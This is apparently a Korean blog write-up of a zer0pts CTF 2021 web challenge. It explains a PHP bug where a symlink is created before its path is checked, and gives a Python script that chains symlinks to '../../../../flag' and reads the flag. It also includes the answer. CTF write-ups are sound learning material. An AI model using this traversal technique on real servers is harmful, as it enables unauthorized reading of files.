반응형
풀이
/* Create a symbolic link */
@symlink($target, $this->root.$name);
/* This check ensures $target points to inside user-space */
try {
$this->validate_filepath(@readlink($this->root.$name));
} catch(Exception $e) {
/* Revert changes */
@unlink($this->root.$name);
throw $e;
}
}
}
function validate_filepath($path)
{
if (strpos($path, "/") === 0) {
throw new Exception('invalid filepath (absolute path)');
} else if (strpos($path, "..") !== false) {
throw new Exception('invalid filepath (outside user-space)');
}
}
심볼릭 링크 파일을 만들 때 먼저 만들고, try에서 파일 경로를 체크하고 /
혹은 ..
가 들어가 있으면 exception을 발생시켜 링크를 해제한다.
즉, 뭐가 됬던 한번은 연결을 한다는 것이다.
php symlink는 a → b → c 이렇게 심볼릭 링크가 존재한다고 할때,
c를 삭제(a → b → )하고, a에 심볼릭 링크(@symlink(d, a))를 또 걸면 a → b → c → d 이렇게 생성이 된다. 리눅스에서는 a가 존재하면 파일이 존재한다고 생성되지 않는데, php symlink 함수는 그냥 생성한다.
이 취약점을 이용하면, flag를 얻을 수 있다.
- a → b 생성
- b 삭제 (a → )
- symlink('../../../../flag', a) 생성
- a → b → ../../../../flag
- a 파일 읽기
Solve
import re
import requests
URL = 'http://web.ctf.zer0pts.com:8001/'
# URL = 'http://192.168.10.131:8080/'
session = requests.Session()
session.get(URL)
data = {
'name': '2',
'mode': 'create',
}
# make 2
session.post(URL, data=data)
# # make 1 -> 2
data['name'] = '1'
data['target'] = '2'
data['type'] = '1'
session.post(URL, data=data)
# # delete 2
data['name'] = '2'
data['mode'] = 'delete'
session.post(URL, data=data)
# # make 1 -> 2 -> ../../../../flag
data['name'] = '1'
data['mode'] = 'create'
data['target'] = '../../../../flag'
session.post(URL, data=data)
# # read flag
data['mode'] = 'read'
res = session.post(URL, data=data)
print(re.findall(r'zer0pts\{.+?\}', res.text)[0])
Flag
zer0pts{Use-After-FreeLink?}
반응형
'CTF(Capture The Flag) > zeroptf 2021' 카테고리의 다른 글
safe_vector (0) | 2021.04.07 |
---|---|
baby sqli (0) | 2021.03.12 |
OneShot (0) | 2021.03.12 |
stopwatch (0) | 2021.03.12 |
Not Beginner's Stack (0) | 2021.03.12 |